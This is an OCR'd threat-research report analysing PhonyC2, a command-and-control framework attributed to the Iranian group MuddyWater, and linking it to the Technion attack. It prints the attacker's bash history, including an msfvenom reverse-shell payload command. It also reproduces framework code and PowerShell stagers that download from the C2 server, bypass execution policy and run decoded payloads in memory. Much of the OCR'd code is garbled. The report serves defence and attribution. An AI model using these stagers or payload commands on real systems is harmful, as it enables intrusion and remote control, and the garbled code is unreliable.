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PhonyC2: Revealing a New Malicious Command & Control
Framework by MuddyWater

1 6/29/2023

MuddyWater, also known as Mango Sandstorm (Mercury), is a cyber espionage group that is a subordinate element

within the Iranian Ministry of Intelligence and Security (MOIS).
Executive summary:

o Deep Instinct’s Threat Research team has identified a new C2 (command & control) framework

e The C2 framework is custom made, continuously in development, and has been used by the MuddyWater
group since at least 2021

e The framework is named PhonyC2 and was used in the attack on the Technion Institute

e PhonyC2 is currently used in an active PaperCut exploitation campaign by MuddyWater

e PhonyC2 is similar to MuddyC3, a previous C2 framework created by MuddyWater

MuddyWater is continuously updating the PhonyC2 framework and changing TTPs to avoid detection, as can be seen
throughout the blog and in the investigation of the leaked code of PhonyC2. MuddyWater uses social engineering as
its’ primary initial access point so they can infect fully patched systems. Organizations should continue to harden
systems and monitor for PowerShell activity.

Background

In April 2023, Deep Instinct’s threat research team identified three malicious PowerShell scripts that were part of an
archive called PhonyC2_v6.zip

Note: V6 is the name of the folder found on the server. Since this is not an official C2 framework, there is no
changelog and version history. The framework has been changed over time, but we don't know the internal version
numbers. Therefore, we refer to other versions by unique identifiers rather than version numbers.

The filename piqued our interest and we set out to discover if it was a known C2 framework. After a quick
investigation, it was revealed that the C2 framework was found by Sicehice in a server with an open directory listing.
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- C O 8 91.235.234.130:8000

Directory listing for /

.bash_history

e Dbashrc

e _cache/

e _local/

e .profile

* .python_history
e selected_editor
e .ssh/

» .wget-hsts

* 404.aspx

¢ bore

e bore-v0.4.1-x86_64-unknown-linux-musl.tar

e chisel/

e chisel 1.7.7 linux_amd64
e frp 0.44.0 linux amd64/
e generator.sh

e go/

e ligolo/
* PhonyC2 vé6/

e procdump64.exe

e quic-reverse-http-tunnel/

Figure 1: Image of files located on the server

Note: Sicehice is an organization that automates the collection of cyber threat intelligence from over 30 sources and
enables users to search against the collected IPs.

There was no previous information regarding PhonyC2 and as the zip file contained the source code, we decided to
analyze the code to further understand this C2 framework.

Our initial investigation revealed that the server which hosted the C2 is related to infrastructure that was used by
MuddyWater in the attack against the Technion.

Further research revealed additional connections to MuddyWater infrastructure including the ongoing PaperCut
exploitation and previous attacks using earlier versions of the C2 framework.

Exposed Server Analysis

In addition to the zip file of the PhonyC2, Sicehice uploaded additional files found on the server, including the
“.bash_history” file which revealed the commands the threat actors ran on the server:
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Ls
apt install tmux

apt update
apt install tmux
= ls
I- cd PhonyC2 vé/
1s

apt install python3-pip
tll -r req.txt

pip install -r reqg.txt

1=

ifconfig

python3 Please_&un_snce.pyl
Tmux

exit

tmux at -t 0

ls

wget 45.86.230.20

tmux at -t 0

wget g 3 3 ) 3
Tar -zZxvr frp U.44.0 linux_amdod.tar.gz

1s

tar -zxvf frp 0.44.0_linux_ amdéd.tar.gz

cd frp_0.44.0_linux_amdé&4/

1ls

tmux

tmux at -t 0

tmux at -t 1

tmux at -t 2

waet pythonZ wsc2.py

wget https://github.com/jpillora/chisel/releases/download/vl.7.7/chisel 1.7.7 linux amdéd4.gz
tar -ZXVI ch

gunzip chisel 1.7.7 linux_ amd&4.gz

1s

cd chi

chmod a+x chisel 1.7.7_linux_amdé&4

Figure 2: Start of .bash_history file

tmux at -t 2

gunzip bore-v0.4.1-x86_64-unknown-linux-musl.tar.gz
1s
tar -zxvfi bo
tar -xvf bore-v0.4.1-x86_64-unknown-linux-musl.tar
1=
. /bore
./bore server
: tmux at -t 2
| £ msfvenom -p windows/x64/meterpreter reverse_https lhost=194.61.121.86 lport=8443 -f aspx > 404.a3px|
apt install gpgvZ autoconl Pison bulld-essential postgresgl libaprutill IibgmpJ-dev lLibpcap-dev openssl libp
ncurses-dev postgresgl-contrib xsel zliblg zliblg-dev -y
apt update -y
tmux at -t 2

Flgure 3: End of .bash_history file

In figure 1 we can see the presence of “Ligolo,” another tool that is known to be used by MuddyWater.
In figure 2, commands related to PhonyC2 are marked in red.

In figure 2 and figure 3 marked in blue are additional IP addresses that the threat actor used. Both addresses are
mentioned as C2 servers in the report Microsoft published about their findings from the Technion attack, which they
attributed to MuddyWater.

Open-source tools are marked in orange; FRP is known to be used by several Iranian threat groups and Chisel is
only known to be used by MuddyWater, but this does not mean it's exclusive.

Additionally, in Figure 3, we can see another tunneling tool named “bore” that has not previously been reported to be
in use by MuddyWater.

The combination of the presence of known MuddyWater tools on the server and the fact that the threat actor
communicated with two IP addresses known to be used by MuddyWater raised suspicion that PhonyC2 is a
framework used by MuddyWater.

Taking a Closer Look: Code Analysis

To better understand the Phony C2 framework, we looked at the source code. As we can see in figure 2 above the
first file of interest is “Please_Run_Once.py:”
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4 Please_Run_Once.py config.py config.bak webserver.py

1 import uuid

2

3IP = input("Enter IP Address: ") # Python 3

APort = igpuit{"Eoter Doct Mucgher: ") # Pyihop 3

|5 Ext = input("Enter WebServer Ext Like (Php|ASPX|JSP|HTML|ASP|) : ')| # Python 3
6 TLn = open( Llsnotcorefconfig.bak™, rt™)

7 data = fin.read()
8 #print(data)
9 for line in data:

10 #iread replace the string and write to output file
14 data = data.replace('[1IFP]', IP)

12

13 data = data.replace('[Port]', Port)

14

15 data = data.replace{'[Ext]', Ext)

16

17

18 data = data.replace( '[111]', str{uuid.uuid4()}))
19 data = data.replace('[222]', str{uuid.uuida()))
20 data = data.replace( '[333]', struuid.uuida()))
21 data = data.replace('[444]', str{uuid.uuid4()))
22 data = data.replace('[555]', str{uuid.uuid4()}))
23 data = data.replace('[666]', str{uuid.uuida()))
24 data = data.replace('[777]', str{uuid.uuida()))
25 data = data.replace('[888]"', str{uuid.uuid4()))
26

i

28

29 fin.close()

30

31

32 finl = open("isnotcore/config.py”, "wt")

33 #overrite the input file with the resulting data
34 finl.write(data)

35 finl.close()

Figure 4: Please_Run_Once.py code
The script creates a unique config file where the IP address, the port that the C2 framework listens to for connections,
and an extension for a decoy must be specified, as seen in line 5 in figure 4. Additionally, the script will add to the

config.py file random UUIDs (Universal Unique Identifiers), which makes tracking the URLs of the C2 framework less
trivial.

An example of config.py file:

6 vps = dict(

T ip='1.3.3.7',

8 port="'443"',

9

10

11

12 endpoints = dict(

13 login="'/f245da33-dal10-4a97-93ca-a2287294065c.aspx’', #Registration EndPoint Or flogin?info=
14 sendcommand="/39904bf5-8fe0-4f50-a3fc-612601e8470d.aspx', #SendCommand EndPoint Or /send
15 getcommand="'/163d8151-bdad-4 b463-6586a424c2b3.aspx', #GetCommand EndPoint Or /fsend

16 download='/f65bfOc5-40eb-447c-b8as-ff2ed7e30dae/', #Download

17 GET_CORE_Binery='/562a2ffe-a45a-4318-864b-5942fbdoas59.aspx', # GET CORE Binery

18 Persist='/bfe3e04b-ad3f-4761-b122-9851c5929414.aspx', #Persist EndPoint Or /Persist

19 Persist_Core='/2640d4bb-a683-4270-9874-fb9e227d3add.aspx', #Persist_Core EndPoint Or fPersistc
20 Persist_Core_Run='/5f216504-69c7-47c2-853e-9422bedazb39.aspx', #Persist_Core_Run EndPoint Or /Persis
21)

22

23 agents = dict()

24 commands = dict()

25 times = dict()

26 ips = dict()

27 ip_country = dict()

28 persist_id = dict()

29 upload_tokens = "

30 Bincode = random.randint(11, 22)

31 spiter_Array = ["[", "~", "@" , " R (R PR R )

- e
32 spiter_Array_int = random.randint(o, 2)
33 spiter_Array_string = spiter_Array[spiter_Array_int]
34 print(spiter_Array_string)
35 Binstring = """foreach(si in (((cet-c ra'|Lf.-"|l| c:\\programdata\\db.sqlite)|.replace( '[spiter_Array]','0@")).s
[bincode]),2))}3}:IEX Sn:""".replace("[bincode] ,stri(BLlncode))

Figure 5: Example of config.py with random UUID in lines 13-20
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68 server = "http://" + vps['ip'] + "' + vps['pori'] + endpo:
69 server_hex = "http://" + vps['ip'] + ":" + vps[ 'port'] +

ET CORE Binery'] +'7'fapiy7]RandomToken+ - +apiy7_RandomToken

apive_RandomToken+" Us_RandomToken

open(
Toreplacel
s.replace(’
s.replace(’
s.replace(’ (g

70
715 Toad_2 s
s S onTy_servery
endpoints['login'])

)", endpotnts[
. endpoints[ e

sist_payload_2022
, only_server)

endpoints[ ' login'
1and) ", endpoints[
nand) ', endpoints[ ge

open(" . /pay
sss.replace(
sss.replace(
sss.replace(
sss.replace(

@
s
w
w
"
IEERR]

and' 1)

command ' 1)

85#core = s +" | T'E'X"
s

87 p_core = sss

88 p_core_un = sss|

89 HEX = 5

90

91

bRequest]::GetsysteniebP roxy( proxy.cCredentials=[Net.CredentialCache]: :Defaultcredentials;-
hject system.I0.streanReader Sreqstream).ReadToEnd();Set-Content -Force -Path c:\\programdata\\db.s

=[System.Net.HTTPWebRequest]::Create("" + server + '
;$reqstream=$rr.GetResponses

proxy=[Net.W
am(); Ssr=(New-

92
93 HTTPWebRequest =
Sr.UserAgent="Goc
alue Ssr
94 InvokeRestMethod
R = ' power
96 StartBitsTransfer
97 TWR_AND_RU o
\prograndat,

W 1 -Command "Invoke-RestMethod -Uri ' ' -OutFile c:\programdata\db.sqlite;attrib +h c:\prograndata\db.sqlite"’
Iwr - ' -OutFil any

sgramdata\db
",");rm -Fc

r_Array]','e'))

"' .replace;
98 Start_Jobs -WindowStyle Hidden )} -ArgumentlList
("ershe" " (ENCODEDCOMMA
9
106 cmds_ ell -w 1 $xoa=(gc < andata\db. squt sqlite:foreach(st tn $x64){Lf(s e
[sys t.Encoding]: :UT em. Convert
181 cmd5_3 = ' ''Start-Process powe ArgumentL m -Force c:\programdata\db.sqlite;foreach('$i in 'Sx64){Lf( SL)( S +=
[System.Text.Encoding]: :UTF8.Getstring( [System.Convert]::ToInt32( $t,
102
tart-sitsTransfer ce ' + server + ' -pestination \prograndata\db.sqlite).splLt(",");rm -Force c:\prograndata\d

104 One_Line_BitsTransfer \

v Sx64)TLTC

em.Text. Encoding] Getstring( Convert]

Los

166 HEX_download = ' Tur attrib +h c:\prograndata\onlydigit2.ini;((((gc c:\programdata\onlydigit2.in1))-split”(..)"|2{$_}|%{[char
onvert]::ToInt16(

107 HEX_CMD = "' ((((gc ¢ har1[convert]::ToInt16(5_,16)})-join"");rm -Force c:\prograndata\dnlydigit.ini|I EX;

o8

109

'F'iglire 6: Additional information from config.py

In figure 6 the config file contains various PowerShell commands, which are different payloads that are used by the
framework.

The main.py file is small and starts a multi-threaded webserver and a command line listener. From this code we see
that the name “PhonyC2” is used internally:

1 from isnotcore import config

2 from isnotcore import banner

3 from isnotcore import webserver
4 from isnotcore import commandline
5 import threading

6

74if __name = '__main__"':

8 banner.banner()

9 print("\033[1;32;40m \nPlease careful don't lose your persistence keys in keys file" +"\n \033[0m
10 print("\033[1;32;40m \nWhat is your business with powershell of people?” + "\n \033[Om")

1 server = threading.Thread(target=webserver.main, args=())

12 server.start()

13 cmdline = commandl dline()

14 cmdline.prompt = + config.vps['ip'] + ":" + config.vps['port'] + "):"

15 cmdline.cmdloop()
Figure 7: main.py contents

The webserver.py is responsible for serving the C2 framework payloads:
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241 |#dapp.route(” fapiy/ ) |

242 @app.route(config.endpoilnts['GET_CORE_Binery'])
243 # GET CORE Binery

244 def GET_CORE_Binery():

245 # print(config.server)

246 payload = conflg.core

247 data = request.args.values()

248 if data:

249 for j in data:

250 # print(j)

251 if j == config.apiy7_RandomToken:

252 print("\033[1;32;40m \nDroper Bin Executed:" + j + "\n \@33[0m")
253 #tprint(to_binary{payload))

254 #print(config.spiter_Array_string)

255 return to_binary(payload).replace("0",config.spiter_Array_string)
256 else:

257 return "

258 else:

259 return

260

261

262 # @app.route(' fapiv8')
263 # # server_hex
264 # def apivs():

265 # # print(config.server_hex)

266 # payload = config.HEX

267 # data = request.args.values()

268 # if data:

269 # for j in data:

270 # # print(j)

271 # if j == config.apiv8_RandomToken:

272 # print("\©33[1;32;48m \nDroper HEX Executed:" + j + "\n \033[8m")
273 # return payload.encode("utf-8").hex()
274 # else:

275 # return ""

276 # else:

277 # return ""

278

279

280 #@app.route(' fapip2')

281 @app.route(config.endpoints[ 'Persist'])
282 # Persist

283 def Persist():

284 config.persist()

285 data = request.args.values()

286 keys = request.args.keys()

287 key _req = ""

288 for k in keys:

289 key_req = k

290 if key_req == config.persist_RandomToken:

291 for j in data:

292 register_persist_id = j.split(":")[0]
293 print("\nPersist Request uuid " + register_persist_id)
294 if len(config.persist_id) o0

295 f = open("keys.txt", "a")

Figure 8: Part of webserver.py code

Figure 8 shows the remnants from previous iterations of the framework in the commented-out route names which
have been replaced in this iteration of the framework with the random UUID in the config.py file (lines 13-20 in Figure
5)

Commandline.py receives commands from the operator and prints the output of various actions taken by the C2:

164 print("")

165 print("powershell -EP BYPASS 1 -Encodedconmand  + (encode(config.cmds_3)).decode( utf-5"))

166 PAANE(BCOLOrS MARNING & ®=wsn=omoomsnsomnne oossesnt s oe o msasemeos s o mnae mee s oe o sn o s omem e e s se e me e m s e + beolors. ENDC)
167 Print("\033[1;32;40mIEX_TEST:\033

168 print("power W n TEX(host

169 print("powers W on I°E X(ho:

170 print(bcolors.WARNING + + beolors. ENDC)
171

172

173 def do_payload(self,ltne):

174 #print("\033[1;32;40mone_Line_BitsTransfer\o33fem ")

175 #print("powershell -EP BYPASS -NoP -W 1 -EncodedCommand " + (encode(config.One_Line_ BitsTransfer)).decode("utf-8"))

176 print(bcolors . WARNING + + beolors. ENDC)
177 #print("\033[1;32;4OnCMD:\033[0N ")

178 #print('echo ' + config.HEX_download.encode("utf-8").hex() + ' > <i\prograndata\onlydigit.ini')

179 #print("”

180 #print(”powershell cexec bypass -w 1 -enc " + (encode(config.HEX_CMD)).decode("utf-8"))

181 #REUNE(BEOLONS (HARNING + - - - <= = oo = o oo oo oo oo ool " + bcolors.ENDC)
182 Print("\033[1;32;40m5 fart sob \e33[en ")

183 #print(config. IWR_AND_RUN)

184 print(config.start_Jobs.replace(" (ENCODEDCOMMAND) ", (encode(config.IWR_AND_RUN)).decode("utf-g

185 start_job_enc = (config.Start_Jobs.replace(’ (ENCODEDCONMAND)”, (encode(config.IWR_AND_RUN)). decnde( utr-s")))

186 print("")

187 print("power BYPASS N W 1 -EncodedCommand * + (encode(start_job_enc)).decode( utf-8"))

188 prlnt(b(nlnrs ARNING + - + bcolors. ENDC)

tel \ﬂ}}[rm 9
(HTTPwel

equest Droper) \@33[om ")
{Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri (server) -OutFile $input } -InputObject "c:\\programdata\
(se ,c ﬂg server))
192 print(*\03301;32;a0m(2)\033C0N
193 Bincode = config.to_one_basecd(config.Binstring.replace(’ [spiter_array]”,str(confi spl.ter Ancoyt string)))
194 print(’''set-Con ce -Pa .Text.Encoding]::UTF8.Getstring([System.Convert]: :FromBasesdstring(“bincide”)))' "' .replace("bincide”,Bincode
105 print("\033[1;32; > Notice ized inctead of W h J\e33[0n
196 (" [umiclass] root\\clmv2:Win32 -EP BYPASS -NOP -W h -file c:\\programdata\\db.ps1', '.',Snull);sleep 5;rm c:\\programdata\\db.sqlite ; ri

)
powershell Start-Job -ScriptBlock {Invoke-WebRequest -UseDefaultCredentia
ver)',config. server))

-UseBasicParsing -Uri (server) -OutFile Simput } -InputObject "c:\\programdata\\db.sqlit

Parsing -Uri

C

Sorandate\\e

er) -OutFile Sinput ) Inputobj
String('bincide'))) = [wmicla
:ormoe:\\p ummwl«l«\

c:\\programdata\\db.sqlit
]'root\\cimv2:Win32_Proces

201 print('')

203 class UseCmd(emd.Cnd):
UseCnd_agent_id = ""
2o def do_exit(self, persan):

206 sys.exit()

207

208 def do_back(self, back):

209 objeback = Commandline()

210 objeback.prompt = "(Phonyc2:' + config.vpsl'ip'] + ":' + conflg.vps['port'] + "):"
211 objeback.cmdloop ()

212

213 def emptyline(self):

214 pass

215

Figure 9: Part of commandline.py
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Figure 9 and Figure 5 the code of a file named “C:\programdata\db.sqlite” and “db.ps1.” Both of those files are
mentioned with the same name and path in Microsoft’s report about the Technion hack.

While the malicious files from Microsoft’s report are not publicly available for inspection, the combination of the IP
addresses related to PhonyC2 appearing in Microsoft’s report with those file names makes a strong argument that
the Phony C2 framework was used in the attack on the Technion. Additionally, the files created by the C2 framework
are detected as “PowerShell/Downloader.SB,” the same detection name Microsoft used in their blog.

Since both files are dynamically generated by the C2 framework, they are slightly different in each execution of the
framework, therefore, blocking the hashes Microsoft provided is not exhaustive.

How It Works

5 python3 main.py

" "R
" #iE .
Tt :

* serving Flask app 'isnotcore.webserver'

* Debug mode: off
(PhonyC2:172.16.162.1:1337) :help

Documented commands (type help <topic
help
Undocumented commands

list payload setcommandforall use

(PhonyC2:172.16.162.1:1337):[1
Figure 10: PhonyC2 commands

While it might look like there are many options and outputs, the C2 is actually simple if we understand what the code
does.

This C2 is a post-exploitation framework used to generate various payloads that connect back to the C2 and wait for
instructions from the operator to conduct the final step of the “Intrusion Kill Chain.”

"payload” Command:

(PhonyC2:172.16.162.1:1337): payload

Job -scriptBlock {(s ow"+5args[0]+"11") -ArgumentList ("-ex"+"ec byp"+"ass -Window tyle Hid"+"den -el sargs[1]) -Windowstyle Hidden )} -Argumentiist ("ershe”,”SQB3AHIATIAAtAFU|
AIQBUAHQM ABwADUALWAVAD[ANWAVA(4AMQA2A(4AMQAZADIALQA><ADGAMQAzAnMANwAVADUANnAVAQ[AManAmA7QAtAG[ANAA1AG[ALQAQADMAMQA4ACQA'JAA2ADQAVnAtADUAUQAOADIAZQB\AGQAMABT\AHQANQA SACAAYQBZAHAACAA/ ADGANABOAF 0ATA|
BUAFUAUQA9 ADGANABOAF OATABHAF TANG BVAFUAUQALACAALQBPAHUAJABGAGKADAB LACAAYWAGAFWACABYAGBAZWBYAGEADQBKAGEAJABhAFWAZABACAACKBXAGWASQBOAGUAOWBhAHQAJABY AGKAYgAgA AgAGMAOGBCAHAACBVAGCACGBhAGOAZABA)

g BAADYANAA9ACGAKABNAGMATAB JADOAXABWAHT AbWBNAHIAYQB tAGQAYQBOAGEAXABKAGTALGBZAHEADABPAHQAZQAPACAACGBLAHAADABAGHAZQAOACCAKAANACHA IWAWACCAKQAPACAACWBWAGHAIQBOACIATgASACTAL
bQAGACOARGBYAHIAYWBLACAAYWAGAFWACABY AGBAZWBYAGEABQBKAGEAJABhAFWAZAB L ACAACHBXAGWAEQBOAGUAOWBNAGBACGBLAGEAYWBOACGAJABPACAAAQBUACAAIABIADYANAAPAHSABQBMACGA JABPACKACWAKAGMAT AAr ADBAT ABbAFMAEQBZ AHQAZ QS|
LAHgAdAAUAEUAbGB JAGBAZABPAG4AZWB dADOAOGBVAFQARGA4ACAARWE LAHQAUWBOAHTAaQBUAGCAKABBAFMACQBZAHQAZQB tAC4AQWBVAGAAJgB1AHTAJABIADOAOGBUAGBASQBUAHQAMWAYACIAKAAKAGKALWAXADQAKQASADTAKQARAHOAFQATAEKAYABFAG]
QAYWAQACOASGBVAGKADGAGACTATGAPACAA™) | Out-Null

powershell -cr BYPASS -NOP - 1 ~EnCOdedComnand U oA A gD oA OA DY AT AL A LA A Dy A kA A A LA D A AT A A= KA A EACAD A AR AR AHAA DD AL KA KAGEAC B AT MAHHANAT OAKHALAGHADAALACKATAAEALEACSD)
UAG4AdABMAGKACWB OACAAKAA LACOAZQB 4ACT AKWALAGUAYWAAGT ACQBWACT AKWATAGEACWBZ ACAALQBXAGKAbGBKAGBAGWAT ACSAT gBTAHQACQBSAGUAT ABT AGKAZAALACSATGBKAGUABGAGACOAZQBUACT AKWALAGHATAALA BhAHIAZWBZA
cAaQBUAGQADWB3AF MAQABS AGWAZQAGAE GAaQBKAGQAZQBUACAAKQBIACAALQBBAHIAZWE 1AGOAZQBUAHQATABPAHMADAAGACATgB LAHIACWBOAGUAT gASACT AUWBRAE TAMWBBAEGASQBBAEKAQQBBAHQAQQBGAFUAQQB JAGCA gawnEE:’\OwBBAEEA

BAG c e A0 A A AR A AT B A A B R AT B D QoE A T DA AL E ROy AR EARAE DA EATAE 1AL E AR A SR GAPT B DL QR EA OB I EAESALQEO ALICOQE ZAEE AT VAEER,
AGOAQQBHAF kAQQBaAF EAQQBOAE EARWBF AEEATgBBAE EAMQBBAECARQBBAEWAUQBBADAAQQBEAEOAQBNAF EAQQAOAE EAQUAWAE EATWBBAEEAMgBBAEQAUQBBAF KAZWBBAHQAQQBEAFUAQQBPAF EAQQAWAEEARAB JAEEAWGBNAET Aa Q) g o
AQQBOAFEAQQA 1AEEAQWAOAEEAWQBRAET Ae gBBAEGAQQBBAGUAQQBBACEAQQBEAGCAQQBOAEEAQQBPAEEARGBVAEEAVABBAE TASABBAEYASQBBAE4AZWBCAFYAQQBGAFUAQQBVAF EAQQASAEEARABNAEEATGBBAEATWBBAE YADWBBAFQAQQB G
BW\EEl’\F’QBV/’\EEl’\\/UBP/\EEl’\uUﬁB/\EW\UOBﬁ/\Ew:’\UUB(/\FJ'\/’\UUBI{\FU/’\UUBM’\EEmjgBW\EEl’\Flen’\EEl'wgEB;’\EIl’\bl’\EB;’\Ev1NJUEB/’\FI\l’\deBr\DW\UUﬁhl’wc/\uUE]1’\EEl’\UgEl51’\EEl’\Flw/\’Il’\EEl’\wgﬁ;1’\E[1’\=UBB/’\E(/\PUﬂﬁmh[MlUﬂlnhJl'\uUEWAEU/’\()UBN\EE/\UQBDA

R e e e e e
ASABIAEEAWQBRAEIAJABBAECAUQBBAFkAUQBCADAAQQBHAEUAQQBYAEEAQQBrAEEARWBIAEEATABNAEIAegBBAEgARQBBAGIAQQBCAHAAQQBIAFEAQQBaAF EAQQBWAEEAQWABGAEEAYWBNAETADABBAEGAQQBBAG
SwBBAE EAbgBBAEMAWBBAEOAdWBBAHCAQQBDAGMAQQBLAF EAQQBWAEEAQWABAEEAYWB3AETAdWBBAECAJwWBBAGEAUQBCADAAQQBDAGCAQQBIAGCAQQBZAEEAQWB JAEEASWBRAEEANWBBAEGASQBBAGI AUQBBAGCAQ)

SAGCAQQB2AEEAS AB JAEEAWQB 3AEIAbABBAEMAQQBBAFKAJWBBADYAQQBGAHCAQQB JAEEAQQBSAEEARWAAAEEAWGE 3AE 1 AQBBAECARQBBAGI AUQBCAGSAQQBHAEUAQQBKAEEAQQBOAE EARGB 3AEEAHGBBAE 1 A2QBEAEMANABBAGHAIWBCAHGAQQBHAH
AEEARWBVAE EATWB3AE TAbQBBAE CAOABBAGMAZWBCAGWAQQBHAEUAQQBZAHCAQQBVAE EAQWBNAEEASQBBAE TACABBAEMAQQBBAGEAUQBCAHUAQQBDAE EAQQBKAEEAQIAOAEEARABZAEEAT gBBAEEACABBAEQACWBBAGEAUQBCAGOAQQBDAGCAQQBKAEEAQIBWAEE]
AZQB3AEEAawBBAECATQBBAEKAQQBBAHIAQQBEADAAQQB JAEEAQQBIAEEARGBNAEEAZQBRAEIAegBBAEgAUQBBAF0AUQBCAHQAQQBDADQAQQBWAEEAQQBSAEE/ BNAEEAZABBAEEAJQBBAEUAVQBBAGIAZWI \GoAQQBHADGAQQBAAEEAQIBWAEEARWAGAEEANWY
 AEQAbWBBAE8AZWBCAF YAQQBGAF EAQQB:! '\u(i\UU/\U/\EEl’\'}wt’\U/\EEl’\UqE,t’\EI/\bl’\EE/\Eq/\UUE ;’\FU/’\dWEU’\Ui\/’\UUEI;’\Ek/’\ijEhf\FEf\quElr\EEf\ﬂwE]/\EE BBAEIAYgBBAEYATQBBAGUAUQBCAHOAQQBIAFEAQQBaAFEAQQBOAEEAQWAGAEEAUQB3AEIAJGBE.
EEASWBBAE EAGNBBAECAIWEBAEWAIWEBAHIAQQBEAF EAQQBL AR EAQQBZAE EARAB JAEEASWERAEEACABBAE GANABBAGY |

Start-Job -scri c e-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri http://172.16.162. £ 8-864b- Fbdeass ?84NZLGRGUUQ=84NZLGR6UUQ -OutFile $input }
bject "c:\programdata\db

Set-Content -Force -Path c:\programdata\db.psi -Value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase645tring("ZnoyZWFjaCgkasBpbiAcKChHZXQtE29udGVUdCB J0XWCMINCMFEZGFOYVXKYLS2E
nJlcGxhy2uolygnLccwd kaanbuom 1kpKXtpZigkas171G4gKz0gWIN5C3R1bS5UZXhOLKVUY29KaW5nXTOGVVRGOCSHZXRTAHIPbmCOWINSC3R1bS 50b252ZXI0XTO6VGI IbnQzMigoIGKVMTQPLDIPKX 19001 FWCAKbs=")) )

Spc = [wniclass]'root\ctmvz:win3 cate('powershell -EP BYPASS -NoP -W h -file c:\programdata\db.psi’, '.',Snull);sleep 5;rm c:\programdata\db.sqlite ; rm c:\programdata\db.psi

powershell Start-Job riptBlock {Invok: -U efa Credel a - ing -Uri http://172.16.162.1:1337/562a2ffe-a45a-4318-864b-5942fbd0as859.aspx?84NZLGR6UUQ=84NZLGR6UUQ -OutFi
t } -InputObject "c:\programdata\db.sqlite

ponershell start-Job -scriptBlock {Invoke-WebRequest -UseDefaultcredentials -Useasicparsing 5 13SPXTBANZLGROULQ=0ANZLGRUUQ_-outry

t } -InputObject "c:\programdata\db.sql -Content -Force -Path c:\programdata\db. -value ( tem. Text.Enco 3 a( m.C t]: :FromBa ng(tZnoyzHE)cgks

ChHZXQtQ29udGVudCB JOLXWCmInCmF tZGF 2 AXpAGUPLRILCGXhY2UoDyGRLCeWIykPLINWELORCT=T LkpKX AP 1gkas 17 IG4oK 200 1bs5UZXhGLKVUY29KaWsNX ? c XT06VG3IbnQz
kbjs=')));$pc = [wmiclass]'root\cimvz:Win32_Process';$pc.Create( ' powershell -EP BYPASS

Figure 11: “payload” command output
In figure 11 we see a step-by-step explanation of what happens:

1. PowerShell command creates a http request to the C2 to receive an encoded file and save it as
“c:\programdata\db.sqlite”

2. PowerShell command writes the base64 decoded content to “c:\programdata\db.ps1”
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https://www.microsoft.com/en-us/security/blog/2023/04/07/mercury-and-dev-1084-destructive-attack-on-hybrid-environment/
https://www.lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf

Input + 0Oz .

Zm9yZWFjaCgkaSBpbiAoKChHZXQtQ29udGVudCBjOlxwemOncmFtZGFOYVxkYi5zcWxpdGUpLnllcG
2UoJygnLCcwlykpLnNwbGleKCIsIikpKXtpZigkaS1l73G4gKz@gWIN5c3R1bS5UZXheLkVuY29kalWs
06VVRGOCSHZXRTdHIpbmcoW1N5c3R1bS5Db252ZXJI8XTo6VG9IbnQzMigoIGkvMTQpLDIpKX19081F
kbjs=

aec 243 = 1 TT Raw Bytes ¢

Output

foreach($i in (((Get-Content
c:\programdata\db.sqglite).replace('(",'@")).split(","))){if($1){%n +=
[System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32(($i/14),2))}}

Figure 12: The content of the db.ps1

3. PowerShell command executes db.ps1 which in turn reads and decodes db.sqlite and executes the result in
memory.

Essentially, this is a one-liner to execute on a compromised host so it will beacon back to the C2.
Example Decode Routine

As previously mentioned, the files generated by the C2 are slightly different each time, however, the decoding logic
remains mostly the same.

Below is an example of db.sglite content and a diagram explaining the decoding routine:

€ > C B view-source:http://172.16.162.1:1337/562a2ft 31 b- pX?LYGEDE 1K TNE=LY6EDE1KTNE pad

,14444443144444443, 13681313, 14439130, 1443@13@, 14314443, 1443@13@, 1313@, 143@@143, 1431430@, 14439143, 1313@, 13@13@@, 130@a013, 143@136@, 143@130@, 144313@, 1431313, 14430143, 1443143, 13GEEEE, 1444313, 1380606, 1306138,

& new 1 - Notepad++ — [u] X
File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window ? X
sHHBRGE s Hhocing 2 BEH 51 FERGAC®BENBE

.mg-n 3| Eoews 3| Blew 7 3| @nen 14 3 Boewo 3| Blnews 3 @lnews G| Blvew? & Bllvewd & Blnews G| Boen 10 3 Boew 11 G Hoewt 3 O
,14444443144444443, 13861313, 14436136, 14436138, 14314443, 14438136, 13138, 14366143, 14314368, 14436143, 13136, 1361386, 13606013
,1430136@, 14381366, 14436136, 14301313, 14436143, 14430143, 13600E, 1444313, 13806 eE, 138013¢, 14313860, 144313€0, 14431360, 14438
@0@,1443138,1314443,1314443, 1438613, 1431443, 1438130, 1314436, 1438013, 1431438, 1314436, 1438013, 1431436, 1438138, 1314438, 143
€@13,144313@,1430013,1430143,143@€143,1431443,1314443,130013¢,1313¢,130130€,14301443,14314300,14314443,1430013¢, 14300013
,14314306, 1443130, 14431300, 14313613, 14314313, 14381313, 14436130, 130600, 1444313, 13000@6, 1430013, 143806, 1313@, 14301438, 1
4431313,14314430, 14386143, 144313€@, 1431313, 14314443, 14314430, 130eee@, 13131360, 14314443, 143143@, 13136143, 144313¢@, 14438
13¢,14313€13,14314438, 14301443, 13136€¢, 13¢136€, 14430143, 1443136€, 1443¢13€, 1313€13, 14443143, 13136, 1443@136, 14301313, 1443
136@, 14431313, 14436130, 14314430, 1388608, 13143143, 13008143, 14314443, 14314438, 14431438, 14361313, 14436138, 14431308, 1314431
3,1443134, 144313¢, 13131300, 14314443, 1306@13¢, 14380813, 1443143, 14381313, 143143, 1431366, 13138143, 1443130@, 1443813, 1431
3013, 14314430, 14301443, 13130, 13143143, 13138143, 14443€13, 14438143, 14431360, 14381313, 14314313, 131443¢, 1313130€, 143€1313
, 14443066, 14431366, 1314438, 13601313, 1431443, 14360143, 14514443, 14381360, 14313013, 14314436, 14361443, 13144313, 1443138, 144
313e, 13606613, 13136143, 13886143, 13813013, 13813613, 1314438, 13861443, 14381313, 14431368, 13866136, 14443€13, 14431308, 1438131
3,14430143,1313080, 1361308, 14436143, 1443138, 14436136, 1313613, 1313013, 13138, 14444313, 13136, 13136, 14361436, 14431313, 1431
443, 14306143, 1443136e, 14313013, 14314443, 14314436, 130604, 1313130€, 14314443, 1431313, 13130143, 144313€€, 1443813¢, 14313013
